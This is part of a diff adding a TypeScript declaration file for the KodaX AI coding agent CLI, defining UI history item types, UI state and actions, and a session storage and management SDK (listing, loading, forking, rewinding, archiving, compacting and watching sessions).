+ interface HistoryItemSystem extends HistoryItemBase {
681
+ type: "system";
682
+ text: string;
683
+ }
684
+ /**
685
+ * Tool group - 工具组
686
+ */
687
+ interface HistoryItemToolGroup extends HistoryItemBase {
688
+ type: "tool_group";
689
+ tools: ToolCall[];
690
+ }
691
+ /**
692
+ * Thinking content - 思考内容
693
+ */
694
+ interface HistoryItemThinking extends HistoryItemBase {
695
+ type: "thinking";
696
+ text: string;
697
+ compactText?: string;
698
+ }
699
+ /**
700
+ * Error message - 错误消息
701
+ */
702
+ interface HistoryItemError extends HistoryItemBase {
703
+ type: "error";
704
+ text: string;
705
+ }
706
+ interface HistoryItemEvent extends HistoryItemBase {
707
+ type: "event";
708
+ text: string;
709
+ icon?: string;
710
+ compactText?: string;
711
+ }
712
+ /**
713
+ * Info message - 信息消息
714
+ */
715
+ interface HistoryItemInfo extends HistoryItemBase {
716
+ type: "info";
717
+ text: string;
718
+ icon?: string;
719
+ compactText?: string;
720
+ /**
721
+ * When true, drop the default bottom margin so consecutive info items
722
+ * (e.g. a burst of repo-intelligence trace stages emitted within one
723
+ * turn) visually stack as a block instead of each getting a blank
724
+ * spacer line. Non-tight items following a tight run restore normal
725
+ * spacing on their own via their own `marginBottom`.
726
+ */
727
+ tightSpacing?: boolean;
728
+ }
729
+ /**
730
+ * Hint message - 提示消息
731
+ */
732
+ interface HistoryItemHint extends HistoryItemBase {
733
+ type: "hint";
734
+ text: string;
735
+ }
736
+ /**
737
+ * Sidecar Verifier message - Sidecar 验证器消息
738
+ * Displayed as an independent "role" with its own header so the user can
739
+ * clearly see that the Sidecar Verifier is actively reviewing the output.
740
+ * verdict: 'revise' | 'blocked' | undefined; delivery 'budget-exhausted' means
741
+ * the verifier ran out of budget before returning a verdict.
742
+ */
743
+ interface HistoryItemSidecar extends HistoryItemBase {
744
+ type: "sidecar";
745
+ text: string;
746
+ /** 'revise' or 'blocked'; absent when delivery === 'budget-exhausted' */
747
+ verdict?: "revise" | "blocked";
748
+ /** Set when the verifier exhausted its token budget before reaching a verdict */
749
+ delivery?: "budget-exhausted";
750
+ }
751
+ /**
752
+ * Union type of all history items - 所有历史项的联合类型
753
+ */
754
+ type HistoryItem = HistoryItemUser | HistoryItemAssistant | HistoryItemSystem | HistoryItemToolGroup | HistoryItemThinking | HistoryItemError | HistoryItemEvent | HistoryItemInfo | HistoryItemHint | HistoryItemSidecar;
755
+ /**
756
+ * Creatable history item types (with text property) - 可创建的历史项类型(带 text 属性)
757
+ * Used for addHistoryItem function parameter type - 用于 addHistoryItem 等函数的参数类型
758
+ */
759
+ type CreatableHistoryItem = (Omit<HistoryItemUser, "id" | "timestamp"> | Omit<HistoryItemAssistant, "id" | "timestamp"> | Omit<HistoryItemSystem, "id" | "timestamp"> | Omit<HistoryItemThinking, "id" | "timestamp"> | Omit<HistoryItemError, "id" | "timestamp"> | Omit<HistoryItemEvent, "id" | "timestamp"> | Omit<HistoryItemInfo, "id" | "timestamp"> | Omit<HistoryItemHint, "id" | "timestamp"> | Omit<HistoryItemSidecar, "id" | "timestamp"> | Omit<HistoryItemToolGroup, "id" | "timestamp">) & {
760
+ /** Preserve the source event time when committing live or restored history. */
761
+ timestamp?: number;
762
+ };
763
+ /**
764
+ * UI global state interface - UI 全局状态接口
765
+ * Reference: Gemini CLI UIStateContext - 参考: Gemini CLI UIStateContext
766
+ */
767
+ interface UIState {
768
+ streamingState: StreamingState;
769
+ currentResponse: string;
770
+ history: HistoryItem[];
771
+ pendingToolCalls: ToolCall[];
772
+ sessionId: string;
773
+ provider: string;
774
+ model: string;
775
+ tokenUsage?: {
776
+ input: number;
777
+ output: number;
778
+ total: number;
779
+ };
780
+ error?: string;
781
+ isLoading: boolean;
782
+ }
783
+ /**
784
+ * UI actions interface - UI 操作接口
785
+ */
786
+ interface UIActions {
787
+ setStreamingState: (state: StreamingState) => void;
788
+ appendToResponse: (text: string) => void;
789
+ clearResponse: () => void;
790
+ addHistoryItem: (item: CreatableHistoryItem) => void;
791
+ addHistoryItems: (items: CreatableHistoryItem[]) => void;
792
+ updateHistoryItem: (id: string, updates: Partial<HistoryItem>) => void;
793
+ clearHistory: () => void;
794
+ addToolCall: (tool: Omit<ToolCall, "id" | "startTime">) => string;
795
+ updateToolCall: (id: string, updates: Partial<ToolCall>) => void;
796
+ clearToolCalls: () => void;
797
+ setSessionId: (id: string) => void;
798
+ setProvider: (provider: string) => void;
799
+ setModel: (model: string) => void;
800
+ setTokenUsage: (usage: UIState["tokenUsage"]) => void;
801
+ setError: (error: string | undefined) => void;
802
+ setLoading: (loading: boolean) => void;
803
+ }
804
+ /**
805
+ * Keyboard event handler priority - 键盘事件处理器优先级
806
+ * Reference: Gemini CLI KeypressContext - 参考: Gemini CLI KeypressContext
807
+ */
808
+ declare enum KeypressHandlerPriority {
809
+ Low = -100,
810
+ Normal = 0,
811
+ High = 100,
812
+ Critical = 200
813
+ }
814
+ /**
815
+ * Keyboard event handler - 键盘事件处理器
816
+ */
817
+ type KeypressHandler = (event: KeyInfo) => boolean | void;
818
+ /**
819
+ * Keyboard event - 键盘事件
820
+ */
821
+ interface KeypressEvent {
822
+ key: KeyInfo;
823
+ handled: boolean;
824
+ }
825
+ /**
826
+ * Default UI state - 默认 UI 状态
827
+ */
828
+ declare const DEFAULT_UI_STATE: UIState;
829
+
830
+ /**
831
+ * Session Storage - Session storage abstraction layer
832
+ *
833
+ * Provides a shared persistence interface across memory and filesystem storage.
834
+ */
835
+
836
+ /**
837
+ * Session data structure.
838
+ */
839
+ type SessionData = KodaXSessionData;
840
+ /**
841
+ * Session storage interface.
842
+ */
843
+ interface SessionStorage {
844
+ save(id: string, data: SessionData): Promise<void>;
845
+ load(id: string): Promise<SessionData | null>;
846
+ getLineage?(id: string): Promise<KodaXSessionLineage | null>;
847
+ setActiveEntry?(id: string, selector: string, options?: KodaXSessionNavigationOptions): Promise<SessionData | null>;
848
+ setLabel?(id: string, selector: string, label?: string): Promise<SessionData | null>;
849
+ rewind?(id: string, selector?: string): Promise<SessionData | null>;
850
+ fork?(id: string, selector?: string, options?: {
851
+ sessionId?: string;
852
+ title?: string;
853
+ }): Promise<{
854
+ sessionId: string;
855
+ data: SessionData;
856
+ } | null>;
857
+ list(gitRoot?: string): Promise<Array<{
858
+ id: string;
859
+ title: string;
860
+ msgCount: number;
861
+ tag?: string;
862
+ runtimeInfo?: KodaXSessionRuntimeInfo;
863
+ }>>;
864
+ delete?(id: string): Promise<void>;
865
+ deleteAll?(gitRoot?: string): Promise<void>;
866
+ }
867
+ /**
868
+ * In-memory session storage implementation.
869
+ */
870
+ declare class MemorySessionStorage implements SessionStorage {
871
+ private sessions;
872
+ save(id: string, data: SessionData): Promise<void>;
873
+ load(id: string): Promise<SessionData | null>;
874
+ getLineage(id: string): Promise<KodaXSessionLineage | null>;
875
+ setActiveEntry(id: string, selector: string, options?: KodaXSessionNavigationOptions): Promise<SessionData | null>;
876
+ setLabel(id: string, selector: string, label?: string): Promise<SessionData | null>;
877
+ fork(id: string, selector?: string, options?: {
878
+ sessionId?: string;
879
+ title?: string;
880
+ }): Promise<{
881
+ sessionId: string;
882
+ data: SessionData;
883
+ } | null>;
884
+ rewind(id: string, selector?: string): Promise<SessionData | null>;
885
+ list(_gitRoot?: string): Promise<Array<{
886
+ id: string;
887
+ title: string;
888
+ msgCount: number;
889
+ tag?: string;
890
+ }>>;
891
+ delete(id: string): Promise<void>;
892
+ deleteAll(_gitRoot?: string): Promise<void>;
893
+ }
894
+ declare function createMemorySessionStorage(): SessionStorage;
895
+
896
+ /**
897
+ * KodaX session storage - filesystem implementation.
898
+ */
899
+
900
+ declare class FileSessionStorage implements KodaXSessionStorage {
901
+ private readonly sessionsDir;
902
+ /**
903
+ * v0.7.46 — optional explicit project cwd for in-process embedders
904
+ * (KodaX Space) serving multiple projects from a single runtime.
905
+ * Threaded through `getGitRoot(this.hostCwd)` and `inspectWorkspaceRuntime({cwd: this.hostCwd})`
906
+ * so the workspace-mismatch check in `load()` compares against the
907
+ * project the embedder opened, NOT the embedder's startup directory.
908
+ * Unset → all paths behave identically to the pre-v0.7.46 form.
909
+ */
910
+ private readonly hostCwd?;
911
+ /**
912
+ * v0.7.46 F7 — explicit opt-in for the CLI-style "[Warning] Session
913
+ * project mismatch" stderr notice emitted from `load()`. Pre-v0.7.46
914
+ * the gate was `!this.hostCwd` which fired whenever the embedder
915
+ * hadn't supplied a cwd — but that ALSO matched SDK consumers who
916
+ * don't set cwd (e.g. KodaX Space), bleeding the yellow warning into
917
+ * their stdout/stderr UI channels on every cross-project load. The
918
+ * v0.7.46 default is `false` — silent. CLI surfaces that want the
919
+ * old behavior (warn when user resumes a session from outside its
920
+ * original project) can pass `emitMismatchWarnings: true`.
921
+ */
922
+ private readonly emitMismatchWarnings;
923
+ constructor(opts?: {
924
+ sessionsDir?: string;
925
+ cwd?: string;
926
+ emitMismatchWarnings?: boolean;
927
+ });
928
+ /** Absolute session root used by this storage instance. */
929
+ getSessionsDir(): string;
930
+ private writeQueues;
931
+ private serializedWrite;
932
+ private appendState;
933
+ private sessionDirCache;
934
+ private projectJsonWritten;
935
+ private migrationPromise?;
936
+ private ensureMigrated;
937
+ /** Update watermarks. Only overwrites fields the caller actually provided. */
938
+ private syncAppendState;
939
+ private legacyFlatPath;
940
+ private legacyFlatArchivePath;
941
+ private projectDir;
942
+ /** Resolve (and cache) the project directory a write for `id` should land in. */
943
+ private resolveWriteDir;
944
+ private writeFilePath;
945
+ /**
946
+ * id-only locator (ADR-038 §7). Resolution order:
947
+ * 1. cached project dir for this id
948
+ * 2. bounded scan of project dirs: <key>/<id>.jsonl
949
+ * 3. bounded scan of archived: <key>/archived/<id>.jsonl
950
+ * 4. legacy flat: <sessionsDir>/<id>.jsonl
951
+ * On multiple matches (only possible for pre-FEATURE_219 same-second
952
+ * duplicate ids) it prefers the current process's project dir, else
953
+ * returns null with a warning rather than guessing.
954
+ */
955
+ private resolveSessionLocation;
956
+ private readSession;
957
+ /** Write `<dir>/project.json` once per process per directory (best-effort). */
958
+ private ensureProjectJson;
959
+ private writeSessionInternal;
960
+ private mergeAndWriteInternal;
961
+ appendSessionDelta(id: string, data: SessionData): Promise<void>;
962
+ private shouldRunMaintenance;
963
+ private runMaintenance;
964
+ save(id: string, data: SessionData): Promise<void>;
965
+ /** F270/F269 owner mutation: CAS-update only the Actor section of a session snapshot. */
966
+ saveActorSnapshot(id: string, snapshot: AgentActorSnapshot, expectedRevision: number): Promise<void>;
967
+ load(id: string): Promise<SessionData | null>;
968
+ getLineage(id: string): Promise<KodaXSessionLineage | null>;
969
+ setActiveEntry(id: string, selector: string, options?: {
970
+ summarizeCurrentBranch?: boolean;
971
+ }): Promise<SessionData | null>;
972
+ rewind(id: string, selector?: string): Promise<SessionData | null>;
973
+ setLabel(id: string, selector: string, label?: string): Promise<SessionData | null>;
974
+ fork(id: string, selector?: string, options?: {
975
+ sessionId?: string;
976
+ title?: string;
977
+ }): Promise<{
978
+ sessionId: string;
979
+ data: SessionData;
980
+ } | null>;
981
+ /**
982
+ * v0.7.46 — `opts.limit` added so SDK consumers can request more than
983
+ * the legacy 10-entry cap. Default stays at 10 to preserve the
984
+ * interactive REPL picker's behavior. The `public-api.ts` fast path
985
+ * forwards the caller's `limit`; `deleteAll()` passes a large value
986
+ * so it can enumerate ALL sessions for the gitRoot.
987
+ *
988
+ * v0.7.46 — return now carries `createdAt` so the fast path in
989
+ * `public-api.ts` no longer silently strips it. Pre-v0.7.46 callers
990
+ * that only destructured `{id, title, msgCount, runtimeInfo}` are
991
+ * unaffected (extra fields are ignored).
992
+ */
993
+ list(gitRoot?: string, opts?: {
994
+ limit?: number;
995
+ includeArchived?: boolean;
996
+ }): Promise<Array<{
997
+ id: string;
998
+ title: string;
999
+ msgCount: number;
1000
+ tag?: string;
1001
+ runtimeInfo?: KodaXSessionRuntimeInfo;
1002
+ archived?: boolean;
1003
+ createdAt?: string;
1004
+ }>>;
1005
+ /**
1006
+ * FEATURE_219 Phase 4 — whole-session archive (ADR-038 §4). Moves the session
1007
+ * file together with its island sidecar into `<projectKey>/archived/`. Paired
1008
+ * (never orphans the sidecar). No-op + returns false for a missing session.
1009
+ */
1010
+ archive(id: string): Promise<boolean>;
1011
+ /** Restore an archived session back into its project directory. */
1012
+ unarchive(id: string): Promise<boolean>;
1013
+ /**
1014
+ * Move a session + its island sidecar between two directories. Propagates a
1015
+ * non-ENOENT rename error (e.g. Windows file-in-use) so a partial move is
1016
+ * surfaced as a failure instead of silently splitting main + sidecar.
1017
+ */
1018
+ private movePair;
1019
+ delete(id: string): Promise<void>;
1020
+ deleteAll(gitRoot?: string): Promise<void>;
1021
+ /**
1022
+ * Auto-retention: delete session files (`.jsonl` + `.archive.jsonl`) whose
1023
+ * mtime is older than `retentionDays`. Modeled on claudecode's
1024
+ * `cleanup.ts` (`unlinkIfOld`). Bounds the sessions directory so it never
1025
+ * accumulates unboundedly — which is what keeps `list()`'s head-read pass
1026
+ * fast (its cost scales with file COUNT, not size). A non-positive /
1027
+ * non-finite `retentionDays` disables cleanup (no-op). Best-effort: per-file
1028
+ * errors are swallowed so a single locked/racing file never aborts the
1029
+ * sweep. Returns the number of files removed. mtime-based, so the session
1030
+ * currently being written/resumed (fresh mtime) is never eligible.
1031
+ */
1032
+ cleanupOldSessions(retentionDays: number): Promise<number>;
1033
+ }
1034
+
1035
+ /**
1036
+ * FEATURE_247 (R6) — imperative session compaction.
1037
+ *
1038
+ * Lets an SDK embedder (KodaX-Space) compact a session by id immediately —
1039
+ * e.g. when the user clicks a "/compact" button — instead of forging a token
1040
+ * snapshot or appending an empty message to trip auto-compaction. Loads the
1041
+ * session, runs the same `compact()` pass the REPL `/compact` command uses,
1042
+ * applies the result to the session lineage (so `loadFullTranscript` / resume
1043
+ * see the compaction entry), and writes it back.
1044
+ *
1045
+ * Applies uniformly to Partner and Coder sessions. Never throws — failures
1046
+ * return `{ compacted: false, reason }`.
1047
+ */
1048
+
1049
+ interface CompactSessionOptions {
1050
+ /** Provider alias for the summarizer. Defaults to the session's persisted provider, then 'anthropic'. */
1051
+ readonly provider?: string;
1052
+ /** Model override forwarded to the summarizer. */
1053
+ readonly model?: string;
1054
+ /** Custom summarizer instructions (same as `/compact <text>`). */
1055
+ readonly customInstructions?: string;
1056
+ /** Provider context-window override (tokens). Otherwise resolved from the provider/model. */
1057
+ readonly contextWindow?: number;
1058
+ /** Sessions directory (mirrors createSessionManager's override). */
1059
+ readonly sessionsDir?: string;
1060
+ /** Injected storage instance (takes precedence over sessionsDir). */
1061
+ readonly storage?: FileSessionStorage;
1062
+ }
1063
+ interface CompactSessionResult {
1064
+ /** True when the session was actually rewritten. */
1065
+ readonly compacted: boolean;
1066
+ readonly tokensBefore: number;
1067
+ readonly tokensAfter: number;
1068
+ /** The rewritten (or unchanged) message list. */
1069
+ readonly messages: KodaXMessage[];
1070
+ /** Populated when `compacted` is false to explain why (not-found / no-op / error). */
1071
+ readonly reason?: string;
1072
+ }
1073
+ /**
1074
+ * Compact a session by id, writing the result (lineage + messages) back to
1075
+ * storage. Never throws.
1076
+ */
1077
+ declare function compactSession(sessionId: string, options?: CompactSessionOptions): Promise<CompactSessionResult>;
1078
+
1079
+ /**
1080
+ * FEATURE_173 Part B (v0.7.42) — Session Management Public SDK.
1081
+ *
1082
+ * Thin facades over FileSessionStorage + discoverInstances. All methods
1083
+ * NEVER throw — missing sessions return null, blocked operations return
1084
+ * an error envelope, missing directories return empty arrays / no-op
1085
+ * watchers.
1086
+ *
1087
+ * The `@kodax-ai/kodax/session` SDK subpath re-exports this module.
1088
+ */
1089
+
1090
+ interface SessionSummary {
1091
+ readonly id: string;
1092
+ /** Opaque continuation token; pass the last item cursor back to listSessions(). */
1093
+ readonly cursor?: string;
1094
+ readonly title: string;
1095
+ readonly msgCount: number;
1096
+ readonly tag?: string;
1097
+ readonly createdAt?: string;
1098
+ readonly runtimeInfo?: {
1099
+ workspaceRoot?: string;
1100
+ gitRoot?: string;
1101
+ surface?: string;
1102
+ profileId?: string;
1103
+ };
1104
+ /**
1105
+ * FEATURE_219 (v0.7.46) — the per-project directory key this session lives
1106
+ * under (ADR-038 §7). A backward-compatible hint: consumers may pass it back
1107
+ * for precise disambiguation, but `loadSession(id)` works without it.
1108
+ */
1109
+ readonly projectKey?: string;
1110
+ /** FEATURE_219 — true when the session is whole-session archived (only ever
1111
+ * surfaced when `includeArchived` is set). */
1112
+ readonly archived?: boolean;
1113
+ }
1114
+ type SessionTranscriptEntryType = 'message' | 'compaction' | 'branch_summary'
1115
+ /** Rewind audit marker; not included in `FullTranscriptSessionData.messages`. */
1116
+ | 'rewind_marker' | 'client_notice'
1117
+ /**
1118
+ * Synthetic task/workflow completion entry derived from `_taskResult`,
1119
+ * `_taskResults`, or legacy `<task-completed>` banners. The original
1120
+ * `KodaXMessage` is still exposed on `message`, but consumers that want a
1121
+ * complete transcript should not filter only `type === 'message'`.
1122
+ */
1123
+ | 'task_result';
1124
+ type SessionTranscriptEntrySource = 'user' | 'assistant' | 'workflow' | 'child_task' | 'system' | 'client';
1125
+ interface SessionTranscriptEntry {
1126
+ readonly entryId: string;
1127
+ readonly parentId: string | null;
1128
+ /** Stable logical identity shared by cloned/forked copies of the same entry. */
1129
+ readonly logicalId: string;
1130
+ /** Root source physical entry id when this transcript entry was cloned/forked. */
1131
+ readonly sourceEntryId?: string;
1132
+ readonly timestamp: string;
1133
+ readonly type: SessionTranscriptEntryType;
1134
+ readonly source?: SessionTranscriptEntrySource;
1135
+ readonly turnId?: string;
1136
+ readonly message: KodaXMessage;
1137
+ readonly active: boolean;
1138
+ readonly summary?: string;
1139
+ readonly payload?: unknown;
1140
+ readonly taskResults?: readonly KodaXTaskResultMetadata[];
1141
+ }
1142
+ interface FullTranscriptSessionData extends Omit<SessionData, 'messages'> {
1143
+ readonly messages: KodaXMessage[];
1144
+ readonly activeMessages: KodaXMessage[];
1145
+ readonly transcriptEntries: SessionTranscriptEntry[];
1146
+ }
1147
+ interface AppendClientNoticeOptions {
1148
+ readonly source?: string;
1149
+ readonly content: string;
1150
+ readonly timestamp?: string;
1151
+ readonly turnId?: string;
1152
+ readonly payload?: KodaXJsonValue;
1153
+ }
1154
+ interface ListSessionsOptions {
1155
+ /**
1156
+ * Alias for gitRoot; backwards-compat with KodaX Space terminology.
1157
+ * When provided, list() is scoped to sessions from this project root.
1158
+ */
1159
+ readonly projectRoot?: string;
1160
+ /**
1161
+ * Which session scopes to include.
1162
+ * - 'user' (default): only user-initiated sessions.
1163
+ * - 'managed-task-worker': only managed-task worker sessions.
1164
+ * - 'all': no scope filter.
1165
+ */
1166
+ readonly scope?: 'user' | 'managed-task-worker' | 'all';
1167
+ /**
1168
+ * Whether to include whole-session-archived sessions. FEATURE_219 (v0.7.46):
1169
+ * archived sessions live in `<projectKey>/archived/` (see `archiveSession`);
1170
+ * also still hides the legacy `archived-` filename prefix. Default false.
1171
+ */
1172
+ readonly includeArchived?: boolean;
1173
+ /** Maximum number of sessions to return. Default 50. */
1174
+ readonly limit?: number;
1175
+ /**
1176
+ * ISO date string — return only sessions whose createdAt is before this
1177
+ * timestamp. Applied after list + scope filtering.
1178
+ */
1179
+ readonly before?: string;
1180
+ /** Exact match. Omitted means no tag filter. */
1181
+ readonly tag?: string;
1182
+ /** Exact runtime surface match, for example `repl`, `cli`, `acp`, or `partner`. */
1183
+ readonly surface?: string;
1184
+ /** Opaque cursor returned on a previous page's last SessionSummary. */
1185
+ readonly cursor?: string;
1186
+ }
1187
+ type WatchSessionsCallback = (event: {
1188
+ kind: 'change' | 'add' | 'remove';
1189
+ sessionId: string;
1190
+ }) => void;
1191
+ interface SessionManager {
1192
+ listSessions: typeof listSessions;
1193
+ loadSession: typeof loadSession;
1194
+ loadFullTranscript: typeof loadFullTranscript;
1195
+ appendClientNotice: typeof appendClientNotice;
1196
+ forkSession: typeof forkSession;
1197
+ rewindSession: typeof rewindSession;
1198
+ setActiveEntry: typeof setActiveEntry;
1199
+ deleteSession: typeof deleteSession;
1200
+ archiveSession: typeof archiveSession;
1201
+ unarchiveSession: typeof unarchiveSession;
1202
+ listRunningSessions: typeof listRunningSessions;
1203
+ watchSessions: typeof watchSessions;
1204
+ /** FEATURE_247 (R6) — imperatively compact a session by id (writes lineage + emits nothing; returns stats). */
1205
+ compactSession: typeof compactSession;
1206
+ /**
1207
+ * v0.7.43 — the raw write-side storage instance. SDK embedders pass
1208
+ * this into `runKodaX({ session: { id, scope, storage } })` so the
1209
+ * SA / AMA loops write per-turn JSONL snapshots to disk. Without an
1210
+ * injected storage, `saveSessionSnapshot` is a silent no-op and the
1211
+ * sessions directory stays empty regardless of `session.id`.
1212
+ *
1213
+ * See {@link FileSessionStorage} for the concrete implementation and
1214
+ * `docs/SDK_EMBEDDER_GUIDE.md` §6 for the end-to-end recipe.
1215
+ */
1216
+ storage: FileSessionStorage;
1217
+ }
1218
+ /**
1219
+ * List sessions, optionally filtered by scope, limit, and date.
1220
+ * NEVER throws. Returns [] when the sessions directory is empty or missing.
1221
+ */
1222
+ declare function listSessions(opts?: ListSessionsOptions): Promise<SessionSummary[]>;
1223
+ /**
1224
+ * Load full session data by ID.
1225
+ * Returns null for a missing session. NEVER throws.
1226
+ */
1227
+ declare function loadSession(id: string): Promise<SessionData | null>;
1228
+ /**
1229
+ * Load append-order transcript data by ID.
1230
+ *
1231
+ * `loadSession` remains the active model-context API. This helper is for UI
1232
+ * scrollback: it returns every persisted transcript-bearing lineage entry in
1233
+ * append order and keeps the active branch in `activeMessages`.
1234
+ */
1235
+ declare function loadFullTranscript(id: string): Promise<FullTranscriptSessionData | null>;
1236
+ /**
1237
+ * Append a host-owned transcript notice that never enters model context.
1238
+ *
1239
+ * Use this for local slash-command output such as `/doctor`, `/mcp status`,
1240
+ * or host-side status panes. It is visible through `loadFullTranscript()` but
1241
+ * `loadSession()` keeps returning only the active model messages.
1242
+ */
1243
+ declare function appendClientNotice(id: string, options: AppendClientNoticeOptions): Promise<SessionTranscriptEntry | null>;
1244
+ /**
1245
+ * Fork a session at an optional selector.
1246
+ * Returns null for a missing session. NEVER throws.
1247
+ */
1248
+ declare function forkSession(id: string, opts?: {
1249
+ selector?: string;
1250
+ sessionId?: string;
1251
+ title?: string;
1252
+ }): Promise<{
1253
+ sessionId: string;
1254
+ data: SessionData;
1255
+ } | null>;
1256
+ /**
1257
+ * Rewind a session to a previous user entry.
1258
+ * Returns null for a missing session. NEVER throws.
1259
+ */
1260
+ declare function rewindSession(id: string, opts?: {
1261
+ selector?: string;
1262
+ }): Promise<SessionData | null>;
1263
+ /**
1264
+ * Set the active lineage entry by selector.
1265
+ * Returns null for a missing session. NEVER throws.
1266
+ */
1267
+ declare function setActiveEntry(id: string, selector: string): Promise<SessionData | null>;
1268
+ interface RunningSessionInfo {
1269
+ readonly pid: number;
1270
+ readonly startedAt: number;
1271
+ readonly cwd: string;
1272
+ /**
1273
+ * v0.7.43 — populated from `PersistedSessionState.sessionId`, published
1274
+ * by the REPL after `createInteractiveContext`. Remains `undefined` for
1275
+ * a brief window during a peer's bootstrap (before the first sessionId
1276
+ * is generated) and for peers running pre-v0.7.43 binaries; consumers
1277
+ * MUST handle `undefined`.
1278
+ */
1279
+ readonly sessionId: string | undefined;
1280
+ }
1281
+ /**
1282
+ * Returns live KodaX sibling instances (excluding this process).
1283
+ * Uses discoverInstances() from @kodax-ai/agent (FEATURE_125 Team Mode).
1284
+ * NEVER throws. Returns [] when no instances directory exists.
1285
+ */
1286
+ declare function listRunningSessions(): Promise<RunningSessionInfo[]>;
1287
+ type DeleteSessionResult = {
1288
+ ok: true;
1289
+ } | {
1290
+ error: {
1291
+ code: 'session_running';
1292
+ runningProcess: {
1293
+ pid: number;
1294
+ startedAt: number;
1295
+ };
1296
+ };
1297
+ };
1298
+ /**
1299
+ * Delete a session by ID.
1300
+ * Returns { ok: true } on success (including when the session doesn't exist).
1301
+ * Returns an error envelope when the session is currently running.
1302
+ * NEVER throws.
1303
+ */
1304
+ declare function deleteSession(id: string): Promise<DeleteSessionResult>;
1305
+ /**
1306
+ * FEATURE_219 (v0.7.46) — whole-session archive. Moves the session (and its
1307
+ * island sidecar) into `<projectKey>/archived/`. Returns false for a missing
1308
+ * session. NEVER throws. Archived sessions are hidden from the default listing
1309
+ * and resurface only with `listSessions({ includeArchived: true })`.
1310
+ */
1311
+ declare function archiveSession(id: string): Promise<boolean>;
1312
+ /** Restore an archived session back into its project directory. NEVER throws. */
1313
+ declare function unarchiveSession(id: string): Promise<boolean>;
1314
+ /**
1315
+ * Watch the sessions directory for changes.
1316
+ * Returns { close() } that stops the watcher / poll interval.
1317
+ *
1318
+ * Platform branches:
1319
+ * - POSIX: fs.watch() with 100ms debounce.
1320
+ * - Windows: readdir poll every 1000ms, diffed against a snapshot.
1321
+ *
1322
+ * NEVER throws — if the directory doesn't exist the watcher is a no-op
1323
+ * until the directory is created.
1324
+ */
1325
+ declare function watchSessions(cb: WatchSessionsCallback): {
1326
+ close: () => void;
1327
+ };
1328
+ /**
1329
+ * Factory that returns an object with all session management methods bound.
1330
+ *
1331
+ * v0.7.43 (FEATURE_173 Part B follow-up) — the `sessionsDir` override is
1332
+ * now honored. When provided, all read/write/watch operations go through
1333
+ * that directory instead of the module-load-frozen `KODAX_SESSIONS_DIR`.
1334
+ * `listRunningSessions` still consults the agent-config-home instances
1335
+ * directory (sibling-process awareness is not scoped per sessions dir).
1336
+ */
1337
+ declare function createSessionManager(opts?: {
1338
+ sessionsDir?: string;
1339
+ }): SessionManager;
1340
+
1341
+ export { KeypressHandlerPriority as B, DEFAULT_UI_STATE as D, FILE_MODIFICATION_TOOLS as F, MemorySessionStorage as M, PERMISSION_MODES as P, StreamingState as a0, TOOL_STATUS_ICONS as a2, TextBuffer as a3, ToolCallStatus as a9, appendClientNotice as ag, archiveSession as ah, compactSession as ai, computeConfirmTools as aj, createMemorySessionStorage as ak, createSessionManager as al, deleteSession as am, forkSession as an, isPermissionMode as ao, listRunningSessions as ap, listSessions as aq, loadFullTranscript as ar, loadSession as as, normalizePermissionMode as at, permissionModeDisplayName as au, rewindSession as av, setActiveEntry as aw, unarchiveSession as ax, watchSessions as ay, FileSessionStorage as j };
1342
+ export type { StatusBarProps as $, AppProps as A, CompactSessionOptions as C, LearningSurfaceSnapshot as E, LegacyMessageListProps as G, HistoryEntry as H, InputPromptProps as I, ListSessionsOptions as J, KeyInfo as K, LearningBinding as L, Message as N, PastedContent as O, PermissionContext as Q, PermissionMode as R, PromptEditingMode as S, PromptSubmitPayload as T, RunningSessionInfo as U, SessionData as V, SessionManager as W, SessionStorage as X, SessionSummary as Y, SessionTranscriptEntry as Z, SessionTranscriptEntryType as _, AppState as a, Suggestion as a1, TextBufferOptions as a4, Theme as a5, ThemeColors as a6, ThemeSymbols as a7, ToolCall as a8, UIActions as aa, UIState as ab, UseTextBufferReturn as ac, VisualCursor as ad, VisualLayout as ae, WatchSessionsCallback as af, AppendClientNoticeOptions as b, CompactSessionResult as c, Completer as d, Completion as e, ConfirmResult as f, CreatableHistoryItem as g, CursorPosition as h, DeleteSessionResult as i, FullTranscriptSessionData as k, HistoryItem as l, HistoryItemAssistant as m, HistoryItemBase as n, HistoryItemError as o, HistoryItemEvent as p, HistoryItemHint as q, HistoryItemInfo as r, HistoryItemSidecar as s, HistoryItemSystem as t, HistoryItemThinking as u, HistoryItemToolGroup as v, HistoryItemType as w, HistoryItemUser as x, KeypressEvent as y, KeypressHandler as z };